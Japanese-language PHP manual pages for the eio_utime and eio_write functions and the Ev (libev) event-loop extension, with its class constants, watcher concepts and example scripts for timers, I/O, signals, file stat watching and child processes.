eio_utime — ファイルの最終アクセス時刻と変更時刻を変更する

説明

eio_utime ( string $path , float $atime , float $mtime , int $pri = EIO_PRI_DEFAULT , callable $callback = NULL , mixed $data = NULL ) : resource

パラメータ

path

ファイルへのパス。

atime

アクセス時刻。

mtime

変更時刻。

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

eio_utime() は、成功した場合にリクエストリソースを返します。エラー時に false を返します。

参考

  • eio_futime() - ファイルの最終アクセス時刻と変更時刻を変更する

User Contributed Notes

There are no user contributed notes for this page.


ファイルに書き込む

  • ≪ eio_utime
  • Ev ≫
  • PHP Manual
  • Eio 関数
  • ファイルに書き込む

eio_write

(PECL eio >= 0.0.1dev)

eio_write — ファイルに書き込む

説明

eio_write ( mixed $fd , string $str , int $length = 0 , int $offset = 0 , int $pri = EIO_PRI_DEFAULT , callable $callback = NULL , mixed $data = NULL ) : resource

eio_write() は、str の先頭から offset バイトの位置から、最大で length バイトまで書き込みます。

パラメータ

fd

ストリーム、ソケットリソース、あるいは数値で表したファイルディスクリプタ (eio_open() が返すものなど)。

str

ソース文字列。

length

書き込む最大バイト数。

offset

ファイルの先頭からのオフセット。

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

eio_write() は、成功した場合にリクエストリソースを返します。エラー時に false を返します。

参考

  • eio_open() - ファイルを開く

User Contributed Notes

There are no user contributed notes for this page.


Ev

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
  • ウォッチャー
  • ウォッチャーのコールバック
  • Periodic ウォッチャーの操作モード
  • Ev — Ev クラス
    • Ev::backend — libev が使うバックエンドを表す整数値を返す
    • Ev::depth — 再帰の深さを返す
    • Ev::embeddableBackends — 他のイベントループに埋め込めるバックエンド群を返す
    • Ev::feedSignal — シグナルイベントを Ev に送る
    • Ev::feedSignalEvent — シグナルイベントの情報をデフォルトループに送る
    • Ev::iteration — デフォルトのイベントループが新しいイベントをポーリングした回数を返す
    • Ev::now — デフォルトのイベントループで直近の処理が始まった時刻を返す
    • Ev::nowUpdate — カーネルに問い合わせて現在時刻を確認し、処理中の Ev::now が返す時刻を更新する
    • Ev::recommendedBackends — 現在のプラットフォーム上でおすすめのバックエンドのビットマスクを返す
    • Ev::resume — 一時停止していたデフォルトのイベントループを再開させる
    • Ev::run — イベントのチェックとデフォルトループのコールバックの呼び出しを開始する
    • Ev::sleep — 指定した秒数だけプロセスをブロックする
    • Ev::stop — デフォルトのイベントループを止める
    • Ev::supportedBackends — 現在の libev の構成でサポートするバックエンド群を返す
    • Ev::suspend — デフォルトのイベントループを一時停止する
    • Ev::time — epoch から現在時刻までの秒数を返す
    • Ev::verify — 内部の整合性をチェックする (デバッグ用)
  • EvCheck — EvCheck クラス
    • EvCheck::__construct — EvCheck ウォッチャーオブジェクトを作る
    • EvCheck::createStopped — 停止した EvCheck ウォッチャーのインスタンスを作る
  • EvChild — The EvChild class
    • EvChild::__construct — EvChild ウォッチャーオブジェクトを作る
    • EvChild::createStopped — 停止した EvChild ウォッチャーのインスタンスを作る
    • EvChild::set — ウォッチャーを設定する
  • EvEmbed — EvEmbed クラス
    • EvEmbed::__construct — EvEmbed オブジェクトを作る
    • EvEmbed::createStopped — 停止した EvEmbed ウォッチャーのインスタンスを作る
    • EvEmbed::set — ウォッチャーを設定する
    • EvEmbed::sweep — 埋め込んだループに対して単一の非ブロックスイープを行う
  • EvFork — EvFork クラス
    • EvFork::__construct — EvFork ウォッチャーオブジェクトを作る
    • EvFork::createStopped — 停止した EvFork ウォッチャーのインスタンスを作る
  • EvIdle — The EvIdle class
    • EvIdle::__construct — Constructs the EvIdle watcher object
    • EvIdle::createStopped — Creates instance of a stopped EvIdle watcher object
  • EvIo — The EvIo class
    • EvIo::__construct — Constructs EvIo watcher object
    • EvIo::createStopped — Create stopped EvIo watcher object
    • EvIo::set — Configures the watcher
  • EvLoop — The EvLoop class
    • EvLoop::backend — Returns an integer describing the backend used by libev
    • EvLoop::check — Creates EvCheck object associated with the current event loop instance
    • EvLoop::child — Creates EvChild object associated with the current event loop
    • EvLoop::__construct — Constructs the event loop object
    • EvLoop::defaultLoop — Returns or creates the default event loop
    • EvLoop::embed — Creates an instance of EvEmbed watcher associated with the current EvLoop object
    • EvLoop::fork — Creates EvFork watcher object associated with the current event loop instance
    • EvLoop::idle — Creates EvIdle watcher object associated with the current event loop instance
    • EvLoop::invokePending — Invoke all pending watchers while resetting their pending state
    • EvLoop::io — Create EvIo watcher object associated with the current event loop instance
    • EvLoop::loopFork — Must be called after a fork
    • EvLoop::now — Returns the current "event loop time"
    • EvLoop::nowUpdate — Establishes the current time by querying the kernel, updating the time returned by EvLoop::now in the progress
    • EvLoop::periodic — Creates EvPeriodic watcher object associated with the current event loop instance
    • EvLoop::prepare — Creates EvPrepare watcher object associated with the current event loop instance
    • EvLoop::resume — Resume previously suspended default event loop
    • EvLoop::run — Begin checking for events and calling callbacks for the loop
    • EvLoop::signal — Creates EvSignal watcher object associated with the current event loop instance
    • EvLoop::stat — Creates EvStat watcher object associated with the current event loop instance
    • EvLoop::stop — Stops the event loop
    • EvLoop::suspend — Suspend the loop
    • EvLoop::timer — Creates EvTimer watcher object associated with the current event loop instance
    • EvLoop::verify — Performs internal consistency checks(for debugging)
  • EvPeriodic — The EvPeriodic class
    • EvPeriodic::again — Simply stops and restarts the periodic watcher again
    • EvPeriodic::at — Returns the absolute time that this watcher is supposed to trigger next
    • EvPeriodic::__construct — Constructs EvPeriodic watcher object
    • EvPeriodic::createStopped — Create a stopped EvPeriodic watcher
    • EvPeriodic::set — Configures the watcher
  • EvPrepare — EvPrepare クラス
    • EvPrepare::__construct — EvPrepare ウォッチャーオブジェクトを作る
    • EvPrepare::createStopped — 停止した EvPrepare ウォッチャーのインスタンスを作る
  • EvSignal — The EvSignal class
    • EvSignal::__construct — Constructs EvSignal watcher object
    • EvSignal::createStopped — Create stopped EvSignal watcher object
    • EvSignal::set — Configures the watcher
  • EvStat — The EvStat class
    • EvStat::attr — Returns the values most recently detected by Ev
    • EvStat::__construct — Constructs EvStat watcher object
    • EvStat::createStopped — Create a stopped EvStat watcher object
    • EvStat::prev — Returns the previous set of values returned by EvStat::attr
    • EvStat::set — Configures the watcher
    • EvStat::stat — Initiates the stat call
  • EvTimer — The EvTimer class
    • EvTimer::again — Restarts the timer watcher
    • EvTimer::__construct — Constructs an EvTimer watcher object
    • EvTimer::createStopped — Creates EvTimer stopped watcher object
    • EvTimer::set — Configures the watcher
  • EvWatcher — The EvWatcher class
    • EvWatcher::clear — Clear watcher pending status
    • EvWatcher::__construct — Abstract constructor of a watcher object
    • EvWatcher::feed — Feeds the given revents set into the event loop
    • EvWatcher::getLoop — Returns the loop responsible for the watcher
    • EvWatcher::invoke — Invokes the watcher callback with the given received events bit mask
    • EvWatcher::keepalive — Configures whether to keep the loop from returning
    • EvWatcher::setCallback — Sets new callback for the watcher
    • EvWatcher::start — Starts the watcher
    • EvWatcher::stop — Stops the watcher

User Contributed Notes

There are no user contributed notes for this page.


はじめに

この拡張モジュールは、 » libev ライブラリへのインターフェイスを提供します。 このライブラリは、C で書かれたハイパフォーマンスで高機能なイベントループです。

注意: この拡張モジュールは Windows 環境では利用できません。

Libev はイベントループです。何か興味のあるイベント (ファイルディスクリプタが読み込み可能になった、あるいはタイムアウトが発生したなど) を登録すると、そのイベントの発生元を管理してプログラムにイベントを提供します。

そのためには、イベントループハンドラを実行して プロセス (あるいはスレッド) を完全に制御する必要があります。 イベントとの通信には、コールバックの仕組みを利用します。

興味のあるイベントを登録するには、イベントウォッチャーを登録します。 そして、ウォッチャーを開始して libev に手渡します。

詳細は » libev のドキュメント を参照ください。

User Contributed Notes

There are no user contributed notes for this page.


要件

libev ライブラリはこの拡張モジュールに組み込まれているので、 個別にインストールする必要はありません。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この » PECL 拡張 モジュールは PHP にバンドルされていません。

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/ev .

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

定数は定義されていません。

ほとんどの定数は、シングルトンクラス Ev に移動しました。

User Contributed Notes

There are no user contributed notes for this page.


例

例1 タイマーのサンプル

<?php
// タイマーを作り、2 秒後に起動します
$w1 = new EvTimer(2, 0, function () {
    echo "2 seconds elapsed\n";
});

// タイマーを作って 2 秒後に起動させ、その後は
// 手で止めるまで 1 秒おきに繰り返します
$w2 = new EvTimer(2, 1, function ($w) {
    echo "is called every second, is launched after 2 seconds\n";
    echo "iteration = ", Ev::iteration(), PHP_EOL;

    // 5 回繰り返したあとでウォッチャーを止めます
    Ev::iteration() == 5 and $w->stop();
    // Stop the watcher if further calls cause more than 10 iterations
    Ev::iteration() >= 10 and $w->stop();
});

// 停止状態のタイマーを作ります。開始させるまでは非アクティブになります。
$w_stopped = EvTimer::createStopped(10, 5, function($w) {
    echo "Callback of a timer created as stopped\n";

    // 2 回繰り返したあとでウォッチャーを止めます
    Ev::iteration() >= 2 and $w->stop();
});

// Ev::stop() が呼ばれるか、すべてのウォッチャーが止まるまでループします
Ev::run();

// 開始させ、うまく動いているかどうかを確認します
$w_stopped->start();
echo "Run single iteration\n";
Ev::run(Ev::RUN_ONCE);

echo "Restart the second watcher and try to handle the same events, but don't block\n";
$w2->again();
Ev::run(Ev::RUN_NOWAIT);

$w = new EvTimer(10, 0, function() {});
echo "Running a blocking loop\n";
Ev::run();
echo "END\n";
?>

上の例の出力は、 たとえば以下のようになります。

2 seconds elapsed
is called every second, is launched after 2 seconds
iteration = 1
is called every second, is launched after 2 seconds
iteration = 2
is called every second, is launched after 2 seconds
iteration = 3
is called every second, is launched after 2 seconds
iteration = 4
is called every second, is launched after 2 seconds
iteration = 5
Run single iteration
Callback of a timer created as stopped
Restart the second watcher and try to handle the same events, but don't block
Running a blocking loop
is called every second, is launched after 2 seconds
iteration = 8
is called every second, is launched after 2 seconds
iteration = 9
is called every second, is launched after 2 seconds
iteration = 10
END

例2 10.5 秒おきに繰り返すタイマー

<?php
$w = new EvPeriodic(0., 10.5, NULL, function ($w, $revents) {
    echo time(), PHP_EOL;
});

Ev::run();
?>

例3 再スケジュールコールバックを使う定期タイマー

<?php
// 10.5 秒おきに繰り返します

function reschedule_cb ($watcher, $now) {
    return $now + (10.5. - fmod($now, 10.5));
}

$w = new EvPeriodic(0., 0., "reschedule_cb", function ($w, $revents) {
    echo time(), PHP_EOL;
});

Ev::run();
?>

例4 すぐに開始し、10.5 秒おきに繰り返すタイマー

<?php
// すぐに開始し、10.5 秒おきに繰り返します
$w = new EvPeriodic(fmod(Ev::now(), 10.5), 10.5, NULL, function ($w, $revents) {
    echo time(), PHP_EOL;
});

Ev::run();
?>

例5 STDIN が読み込み可能になるまで待つ例

<?php
// STDIN が読み込み可能になるまで待ちます
$w = new EvIo(STDIN, Ev::READ, function ($watcher, $revents) {
    echo "STDIN is readable\n";
});

Ev::run(Ev::RUN_ONCE);
?>

例6 非同期 I/O を使ったソケットへのアクセス

<?php
/* 非同期 I/O を使ってソケットにアクセスします */

// `sockets' 拡張モジュールは、
// EINPROGRESS や EAGAIN/EWOULDBLOCK などに対して warning を発光します
error_reporting(E_ERROR);

$e_nonblocking = array (/*EAGAIN or EWOULDBLOCK*/11, /*EINPROGRESS*/115);

// WWW サービス用のポートを取得します
$service_port = getservbyname('www', 'tcp');

// 対象ホストの IP アドレスを取得します
$address = gethostbyname('google.co.uk');

// TCP/IP ソケットを作ります
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket === FALSE) {
    echo "socket_create() failed: reason: "
        .socket_strerror(socket_last_error()) . "\n";
}

// O_NONBLOCK フラグを立てます
socket_set_nonblock($socket);

// タイムアウト時に終了させます
$timeout_watcher = new EvTimer(10.0, 0., function () use ($socket) {
    socket_close($socket);
    Ev::stop(Ev::BREAK_ALL);
});

// ソケットが書き込み可能になったときに HEAD リクエストを作ります
$write_watcher = new EvIo($socket, Ev::WRITE, function ($w)
    use ($socket, $timeout_watcher, $e_nonblocking)
{
    // タイムアウトのウォッチャーを止めます
    $timeout_watcher->stop();
    // 書き込みのウォッチャーを止めます
    $w->stop();

    $in = "HEAD / HTTP/1.1\r\n";
    $in .= "Host: google.co.uk\r\n";
    $in .= "Connection: Close\r\n\r\n";

    if (!socket_write($socket, $in, strlen($in))) {
        trigger_error("Failed writing $in to socket", E_USER_ERROR);
    }

    $read_watcher = new EvIo($socket, Ev::READ, function ($w, $re)
        use ($socket, $e_nonblocking)
    {
        // ソケットが読み込み可能になりました。非ブロックモードで 20 バイト recv() します
        $ret = socket_recv($socket, $out, 20, MSG_DONTWAIT);

        if ($ret) {
            echo $out;
        } elseif ($ret === 0) {
            // すべて読み終えました
            $w->stop();
            socket_close($socket);
            return;
        }

        // EINPROGRESS、EAGAIN あるいは EWOULDBLOCK を捕捉した場合
        if (in_array(socket_last_error(), $e_nonblocking)) {
            return;
        }

        $w->stop();
        socket_close($socket);
    });

    Ev::run();
});

$result = socket_connect($socket, $address, $service_port);

Ev::run();
?>

上の例の出力は、 たとえば以下のようになります。

HTTP/1.1 301 Moved Permanently
Location: http://www.google.co.uk/
Content-Type: text/html; CHARSET=shift-jis
Date: Sun, 23 Dec 2012 16:08:27 GMT
Expires: Tue, 22 Jan 2013 16:08:27 GMT
Cache-Control: public, max-age=2592000
Server: gws
Content-Length: 221
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Connection: close

例7 ループの中に別のループを埋め込む例

<?php
/*
* 埋め込み可能なイベントループをデフォルトのイベントループに組み込みます。
* できなかった場合はデフォルトのループを使います。
* デフォルトのループは $loop_hi に、そして埋め込み可能なループは $loop_lo
* に格納されます (埋め込み可能なループが使えなかった場合は $loop_hi
* を使います)。
*
* このサンプルを PHP に移植したものです。
* http://pod.tst.eu/http://cvs.schmorp.de/libev/ev.pod#Examples_CONTENT-9
*/
$loop_hi = EvLoop::defaultLoop();
$loop_lo = NULL;
$embed   = NULL;

/*
* 使えるループを取得できるかどうかを調べます
* (フラグの値が 0 の場合は自動検出を意味します)
*/
$loop_lo = Ev::embeddableBackends() & Ev::recommendedBackends()
    ? new EvLoop(Ev::embeddableBackends() & Ev::recommendedBackends())
    : 0;

if ($loop_lo) {
    $embed = new EvEmbed($loop_lo, function () {});
} else {
    $loop_lo = $loop_hi;
}
?>

例8 kqueue バックエンドで作ったループをデフォルトのループに埋め込む例

<?php
/*
* kqueue が使えるかどうかを調べ、ソケットで使う kqueue バックエンドを作ります
* (通常は、どんな kqueue 実装でも動きます)。
* kqueue/socket-only イベントループを loop_socket に格納します
* (EVFLAG_NOENV も使えます)。
*
* この例を流用しました
* http://pod.tst.eu/http://cvs.schmorp.de/libev/ev.pod#Examples_CONTENT-9
*/
$loop        = EvLoop::defaultLoop();
$socket_loop = NULL;
$embed       = NULL;

if (Ev::supportedBackends() & ~Ev::recommendedBackends() & Ev::BACKEND_KQUEUE) {
    if (($socket_loop = new EvLoop(Ev::BACKEND_KQUEUE))) {
        $embed = new EvEmbed($loop);
    }
}

if (!$socket_loop) {
    $socket_loop = $loop;
}

// これで、すべてのソケットに対して $socket_loop を使い、それ以外については $loop を使うようになりました
?>

例9 SIGTERM の処理

<?php
$w = new EvSignal(SIGTERM, function ($watcher) {
    echo "SIGTERM received\n";
    $watcher->stop();
});

Ev::run();
?>

例10 /var/log/messages の変更の監視

<?php
// 更新間隔を 10 秒にします
$w = new EvStat("/var/log/messages", 8, function ($w) {
    echo "/var/log/messages changed\n";

    $attr = $w->attr();

    if ($attr['nlink']) {
        printf("Current size: %ld\n", $attr['size']);
        printf("Current atime: %ld\n", $attr['atime']);
        printf("Current mtime: %ld\n", $attr['mtime']);
    } else {
        fprintf(STDERR, "`messages` file is not there!");
        $w->stop();
    }
});

Ev::run();
?>

例11 /var/log/messages の変更の監視 (1 秒の遅延を使って、更新を見落とさないようにする)

<?php
$timer = EvTimer::createStopped(0., 1.02, function ($w) {
    $w->stop();

    $stat = $w->data;

    // ファイルへの直近の変更から 1 秒後
    printf("Current size: %ld\n", $stat->attr()['size']);
});

$stat = new EvStat("/var/log/messages", 0., function () use ($timer) {
    // タイマーウォッチャーをリセットします
    $timer->again();
});

$timer->data = $stat;

Ev::run();
?>

例12 ステータスの変更の処理

<?php
$pid = pcntl_fork();

if ($pid == -1) {
    fprintf(STDERR, "pcntl_fork failed\n");
} elseif ($pid) {
    $w = new EvChild($pid, FALSE, function ($w, $revents) {
        $w->stop();

        printf("Process %d exited with status %d\n", $w->rpid, $w->rstatus);
    });

    Ev::run();

    // ゾンビ対策
    pcntl_wait($status);
} else {
    // フォークした子プロセス
    exit(2);
}
?>

User Contributed Notes

There are no user contributed notes for this page.


ウォッチャー

ウォッチャーは、何らかのイベントに関する興味を記録するオブジェクトです。 たとえば次のコードは、 STDIN が読み込み可能になるまで待ちます。

<?php
// STDIN が読み込み可能になるまで待ちます
$w = new EvIo(STDIN, Ev::READ, function ($watcher, $revents) {
 echo "STDIN is readable\n";
});
Ev::run(Ev::RUN_ONCE);
?>

すべてのウォッチャーのコンストラクタが、自動的にウォッチャーを開始します。 createStopped メソッドを使う (EvIo::createStopped() など) と、停止状態のウォッチャーを作れます。

ウォッチャーオブジェクトを破棄するときには、自動的にウォッチャーが停止することに注意しましょう。 したがって、コンストラクタやファクトリーメソッドが返すオブジェクトはずっと維持する必要があります。

また、ウォッチャーのプロパティ (set や priority etc.) を変更するすべてのメソッドは、自動的にウォッチャーを停止して アクティブになったら立ち上げなおすことにも注意しましょう。 つまり、未処理のイベントは失われてしまいます。

ウォッチャーのコールバック も参照ください。

User Contributed Notes

There are no user contributed notes for this page.


ウォッチャーのコールバック

すべてのウォッチャーは、アクティブ (イベントを待ち受け中) あるいは非アクティブ (一時停止) の状態になります。 コールバックを実行できるのは、アクティブなウォッチャーだけです。 すべてのコールバックは、少なくとも二つの引数を付けて呼ばれます。 watcher (ウォッチャー)、そして revents (受け取ったイベントのビットマスク) です。

ウォッチャーのコールバックは、ウォッチャーのコンストラクタ (EvWatcher の派生クラス。 EvCheck::__construct() や EvChild::__construct() など) に渡します。コールバックは、次のプロトタイプにしたがわなければいけません。

callback ( object $watcher = NULL , int $revents = NULL ) : void

watcher

EvWatcher を継承したクラスのインスタンス。

revents

ウォッチャーが受信したイベント

ウォッチャーの型によって、 revents に関連するビットが割り当てられています。 そのため、複数のウォッチャーに対して同じコールバックを使えます。 イベントのマスクは、イベントの型にちなんだ名前になっています。たとえば EvChild (あるいは EvLoop::child()) は EV::CHILD、 EvPrepare (あるいは EvLoop::prepare()) は Ev::PREPARE、 EvPeriodic (あるいは EvLoop::periodic()) は Ev::PERIODIC などです。ただ I/O のイベントは例外で、これは Ev::READ と Ev::WRITE の両方のビットを設定します。

User Contributed Notes

There are no user contributed notes for this page.


Periodic ウォッチャーの操作モード

EvPeriodic ウォッチャーは、パラメータ offset、interval および reschedule_cb の設定によってさまざまなモードで動作します。

  1. 絶対時刻のタイマー。 このモードでは、interval = 0 そして reschedule_cb = null となります。 このときは、単純に offset で指定した時刻に実行してその後は繰り返しません。 時刻の飛びがあっても調整はしません。つまり、 January 1st 2014 に実行するように設定した場合は、 システム時刻がこの時刻に達するかこの時刻を過ぎたときに実行されます。

  2. 繰り返しタイマー。 このモードでは、interval > 0 そして reschedule_cb = null となります。ウォッチャーは常に、 offset + N * interval (N は何らかの整数) 経過後にタイムアウトするようにスケジュールされ、 その後繰り返します。時刻の飛びは気にしません。

    これを使うと、システムの時刻に流されないタイマーを作れます。

    <?php
    $hourly     = EvPeriodic(0, 3600, NULL, function () {
      echo     "once per hour\n";
    });
    ?>
    これは、必ずしも 3600 秒おきにイベントが発生することを意味するものではありません。 システムの時刻が一時間経過するごとにコールバックが呼ばれるというものです。

    EvPeriodic は、 time = offset (mod interval) となる次の時刻にコールバックをこのモードで実行しようと試みます。 時刻の飛びは気にしません。

  3. 手動再スケジュールモード。 このモードでは、reschedule_cb が callable になります。

    interval と offset はどちらも無視します。毎回定期ウォッチャーがスケジュールされ、再スケジュールコールバック (reschedule_cb) が呼び出されます。 コールバックの最初の引数がウォッチャー、そして二番目の引数が現在時刻となります。

    このコールバックは、自分自身あるいは他の定期ウォッチャーを停止したり破棄したり してはいけません。また、 イベントループ関数やメソッドも 呼んではいけません。 ウォッチャーを止めるには、1e30 を返した後で停止します。 このタスクには、EvPrepare ウォッチャーが使えます。

    コールバックは、次の実行時刻を返す必要があります。次の実行時刻は、 コールバックに渡された時刻をベースにしたものです (つまり、二番目の引数で受け取った時刻と同じかそれよりも大きな値を返します)。 コールバックが呼ばれるのは、通常はイベントが発生する直前ですが、それ以外の場合にも呼ばれる可能性があります。

    例1 再スケジュールコールバックの利用

    <?php
    // 10.5 秒おきに繰り返します

    function reschedule_cb ($watcher, $now) {
       return     $now + (10.5. - fmod($now, 10.5));
    }

    $w = new EvPeriodic(0., 0., "reschedule_cb", function ($w, $revents) {
       echo     time(), PHP_EOL;
    });

    Ev::run();
    ?>

User Contributed Notes

There are no user contributed notes for this page.


Ev クラス

(PECL ev >= 0.2.0)

はじめに

Ev は静的クラスで、デフォルトのループへのアクセスや各種共通操作へのアクセスを提供します。

クラス概要

final Ev {
/* Constants */
const int FLAG_AUTO = 0 ;
const int FLAG_NOENV = 16777216 ;
const int FLAG_FORKCHECK = 33554432 ;
const int FLAG_NOINOTIFY = 1048576 ;
const int FLAG_SIGNALFD = 2097152 ;
const int FLAG_NOSIGMASK = 4194304 ;
const int RUN_NOWAIT = 1 ;
const int RUN_ONCE = 2 ;
const int BREAK_CANCEL = 0 ;
const int BREAK_ONE = 1 ;
const int BREAK_ALL = 2 ;
const int MINPRI = -2 ;
const int MAXPRI = 2 ;
const int READ = 1 ;
const int WRITE = 2 ;
const int TIMER = 256 ;
const int PERIODIC = 512 ;
const int SIGNAL = 1024 ;
const int CHILD = 2048 ;
const int STAT = 4096 ;
const int IDLE = 8192 ;
const int PREPARE = 16384 ;
const int CHECK = 32768 ;
const int EMBED = 65536 ;
const int CUSTOM = 16777216 ;
const int ERROR = 2147483648 ;
const int BACKEND_SELECT = 1 ;
const int BACKEND_POLL = 2 ;
const int BACKEND_EPOLL = 4 ;
const int BACKEND_KQUEUE = 8 ;
const int BACKEND_DEVPOLL = 16 ;
const int BACKEND_PORT = 32 ;
const int BACKEND_ALL = 63 ;
const int BACKEND_MASK = 65535 ;
/* メソッド */
final public static backend ( ) : int
final public static depth ( ) : int
final public static embeddableBackends ( ) : int
final public static feedSignal ( int $signum ) : void
final public static feedSignalEvent ( int $signum ) : void
final public static iteration ( ) : int
final public static now ( ) : float
final public static nowUpdate ( ) : void
final public static recommendedBackends ( ) : int
final public static resume ( ) : void
final public static run ( int $flags = ? ) : void
final public static sleep ( float $seconds ) : void
final public static stop ( int $how = ? ) : void
final public static supportedBackends ( ) : int
final public static suspend ( ) : void
final public static time ( ) : float
final public static verify ( ) : void
}

定義済み定数

ループを作るときに渡すフラグ

Ev::FLAG_AUTO

デフォルトのフラグの値。

Ev::FLAG_NOENV

このフラグを使う (あるいは setuid や setgid でプログラムを実行する) と、 libev は環境変数 LIBEV_FLAGS を見ません。 それ以外の場合 (デフォルト) は、 LIBEV_FLAGS が見つかった場合は その内容でフラグを上書きします。パフォーマンステストやバグの調査のときに有用です。

Ev::FLAG_FORKCHECK

libev が繰り返しのたびにフォークをチェックするようにします。毎回手動で EvLoop::fork() を呼ぶことがなくなります。 これを実現するために、ループ内での繰り返しの旅に getpid() を呼んでいます。 そのため、繰り返しの回数が増えるとイベントループがスローダウンするかもしれませんが、 通常は気になるほどではありません。このフラグの設定を上書きしたり、 環境変数 LIBEV_FLAGS で指定したりすることはできません。

Ev::FLAG_NOINOTIFY

このフラグを指定すると、 libev は » ev_stat ウォッチャーに inotify API を使わなくなります。 このフラグは inotify ファイルディスクリプタを節約するのに便利です。 これを使わなければ、ev_stat ウォッチャーを使ったループのたびに inotify ハンドルをひとつずつ消費することになります。

Ev::FLAG_SIGNALFD

このフラグを指定すると、 libev は » ev_signal (および » ev_child ) ウォッチャーに signalfd API を使おうとします。 この API はシグナルを同期的に配送し、高速に処理したり キューに入ったシグナルデータを取得できるようにしたりします。 また、スレッドを使ったときのシグナル処理も、 スレッド内でシグナルが適切にブロックされている限りはシンプルになります。 デフォルトでは signalfd を使いません。

Ev::FLAG_NOSIGMASK

このフラグを指定すると、 libev はシグナルのマスクを変更しないようにします。 具体的には、シグナルが受信されるまではブロックしないようになるということです。

これは、自前のシグナル処理をするときに便利です。 また、特定のスレッドでだけシグナルを処理するという場合にも有用です。

Ev::run() あるいは EvLoop::run() に渡すフラグ

Ev::RUN_NOWAIT

イベントループが新しいイベントを探し、 新しいイベントや未処理のイベントを処理するけれども、 もしイベントが見つからない場合は、最初のループですぐに呼び出し元に制御を戻します。 イベントを待つためにプロセスをブロックしたりはしません。 これは、時間のかかる計算をしているときのポーリングなどに便利です。 プログラムの動きを止めることなく新しいイベントを処理できます。

Ev::RUN_ONCE

イベントループが (必要なら待ち続けてでも) 新しいイベントを探し、 その新しいイベントや未処理のイベントを処理します。 少なくとも一つのイベントがやってくるまで (libev 自身のイベント間隔になるでしょう。 そのため、ユーザー低位のコールバックが呼ばれる保証はありません) プロセスをブロックし ループ処理の終了後に呼び出し元に制御を戻します。

Ev::stop() あるいは EvLoop::stop() に渡すフラグ

Ev::BREAK_CANCEL

ブレーク操作をキャンセルします。

Ev::BREAK_ONE

一番内側の Ev::run() (あるいは EvLoop::run() ) の呼び出しを返します。

Ev::BREAK_ALL

ネストしたすべての Ev::run() (あるいは EvLoop::run() ) の呼び出しを返します。

ウォッチャーの優先度

Ev::MINPRI

最小の優先度。

Ev::MAXPRI

最大の優先度。

受信したイベントのビットマスク

Ev::READ

EvIo ウォッチャーが読み込み可能になったときのファイルディスクリプタ。

Ev::WRITE

EvIo ウォッチャーが書き込み可能になったときのファイルディスクリプタ。

Ev::TIMER

EvTimer ウォッチャーがタイムアウトしました。

Ev::PERIODIC

EvPeriodic ウォッチャーがタイムアウトしました。

Ev::SIGNAL

EvSignal::__construct() のコンストラクタで指定したシグナルを受信しました。

Ev::CHILD

EvChild::__construct() のコンストラクタで指定した pid が、状態の変更を受信しました。

Ev::STAT

EvStat ウォッチャーで指定したパスが、その属性を変更しました。

Ev::IDLE

他のウォッチャーが何もすることがなくなったときに、 EvIdle ウォッチャーが動作します。

Ev::PREPARE

すべての EvPrepare ウォッチャーが、 Ev::run() の開始前に起動しました。つまり、 イベントループがスリープしたり新しいイベントのポーリングをしたりする直前に EvPrepare ウォッチャーが起動するということになります。

Ev::CHECK

すべての EvCheck ウォッチャーが、 Ev::run() が新しいイベントをとりまとめた直後 (ただし受信したイベントのコールバックをキューに入れる前) にキューに入ります。つまり、 イベントループ内で優先度が同じ (あるいはより低い) ウォッチャーより前に EvCheck ウォッチャーが起動するということになります。

Ev::EMBED

EvEmbed で指定した埋め込みイベントループが注目を必要としています。

Ev::CUSTOM

まだ libev で送信したりそれ以外の使いかたをしたりはしていませんが、 libev ユーザーが (EvWatcher::feed() などで) ウォッチャーに通知するために使えます。

Ev::ERROR

指定されていないエラーが発生し、ウォッチャーが停止しました。 これが発生する原因として考えられるのは、 libev がメモリ不足でウォッチャーをきちんと開始できなかった場合や ファイルディスクリプタが閉じてしまった場合などがあります。 libev は、これらに関してはアプリケーションのバグとみなします。 詳細は » ANATOMY OF A WATCHER を参照ください。

バックエンドのフラグ

Ev::BACKEND_SELECT

select(2) バックエンド

Ev::BACKEND_POLL

poll(2) バックエンド

Ev::BACKEND_EPOLL

Linux 限定の epoll(7) バックエンド。2.6.9 以前のカーネルでもそれ以降のカーネルでも使えます。

Ev::BACKEND_KQUEUE

kqueue バックエンド。大半の BSD システムで利用します。 EvEmbed ウォッチャーを使って、 kqueue バックエンドのループを別のループに埋め込むことができます。 たとえば、 kqueue バックエンドのループを作って、 それをソケットに対してだけ使うこともできます。

Ev::BACKEND_DEVPOLL

Solaris 8 バックエンド。現時点では未実装です。

Ev::BACKEND_PORT

Solaris 10 のイベントポート機構で、規模が大きくなっても対応できます。

Ev::BACKEND_ALL

壊れているものも含めて、すべてのバックエンドを試します。 これを明示的に使うことは推奨しません。ビット演算子を使って、 Ev::BACKEND_ALL & ~ Ev::BACKEND_KQUEUE のようにするか、 Ev::recommendedBackends() を使うか、あるいは何もバックエンドを指定しないようにしましょう。

Ev::BACKEND_MASK

